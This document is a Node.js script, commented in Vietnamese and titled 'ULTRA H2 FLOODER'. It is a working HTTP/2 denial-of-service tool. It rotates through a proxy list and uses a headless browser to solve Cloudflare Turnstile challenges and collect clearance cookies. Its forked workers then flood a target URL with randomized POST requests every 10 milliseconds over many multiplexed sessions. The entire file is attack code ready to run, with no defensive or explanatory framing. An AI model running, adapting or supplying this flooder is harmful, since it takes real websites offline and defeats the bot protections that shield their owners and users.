2

const { connect } = require('puppeteer-real-browser'); const http2 = require('http2'); const http = require('http'); const tls = require('tls'); const fs = require('fs'); const url = require('url'); const cluster = require('cluster'); const crypto = require('crypto'); process.setMaxListeners(0); process.on('uncaughtException', () => {}); process.on('unhandledRejection', () => {}); const target = process.argv[3]; const time = parseInt(process.argv[4]); const threads = parseInt(process.argv[5]); const ratelimit = parseInt(process.argv[6]); const proxyFile = process.argv[7]; const parsedTarget = url.parse(target); const proxyList = fs.readFileSync(proxyFile, 'utf8').split(/\r?\n/).filter(l => l.length > 5); if (cluster.isMaster) { console.clear(); console.log(`=========================================`); console.log(` ULTRA H2 FLOODER - MULTIPLEXING `); console.log(`=========================================`); for (let i = 0; i < threads; i++) cluster.fork(); setTimeout(() => process.exit(0), time * 1000); } else { async function startWorker() { const proxyAddr = proxyList[Math.floor(Math.random() * proxyList.length)].split(':'); try { // Bước 1: Chỉ dùng Puppeteer lấy Cookie CF (Vé thông hành) const { browser, page } = await connect({ headless: "new", turnstile: true, args: [`--proxy-server=${proxyAddr[0]}:${proxyAddr[1]}`, '--no-sandbox'] }); await page.goto(target, { waitUntil: 'networkidle2', timeout: 60000 }); await new Promise(r => setTimeout(r, 10000)); // Đợi giải captcha const cookies = await page.cookies(); const ua = await page.evaluate(() => navigator.userAgent); const cookieStr = cookies.map(c => `${c.name}=${c.value}`).join('; '); await browser.close(); // Đóng trình duyệt ngay để dồn RAM cho flood // Bước 2: Dùng Socket thuần để xả Max Speed function createSession() { const proxyReq = http.request({ host: proxyAddr[0], port: proxyAddr[1], method: 'CONNECT', path: parsedTarget.host + ':443' }); proxyReq.on('connect', (res, socket) => { const tlsSocket = tls.connect({ host: parsedTarget.host, servername: parsedTarget.host, socket: socket, ALPNProtocols: ['h2'], rejectUnauthorized: false }, () => { const client = http2.connect(target, { createConnection: () => tlsSocket, settings: { maxConcurrentStreams: 1000 } }); // Gửi request liên tục không nghỉ setInterval(() => { for (let i = 0; i < ratelimit; i++) { const stream = client.request({ ':method': 'POST', ':path': (parsedTarget.path || '/') + "?v=" + crypto.randomBytes(4).toString('hex'), ':authority': parsedTarget.host, ':scheme': 'https', 'user-agent': ua, 'cookie': cookieStr, 'content-type': 'application/x-www-form-urlencoded' }); stream.end("data=" + crypto.randomBytes(512).toString('hex')); stream.on('error', () => { stream.destroy(); }); } }, 10); // Tốc độ cực cao (10ms mỗi đợt) }); tlsSocket.on('error', () => { tlsSocket.destroy(); }); }); proxyReq.on('error', () => { proxyReq.destroy(); }); proxyReq.end(); } // Mở nhiều Session cùng lúc để nhân sức mạnh for(let j=0; j<5; j++) createSession(); } catch (e) { setTimeout(startWorker, 2000); } } startWorker(); }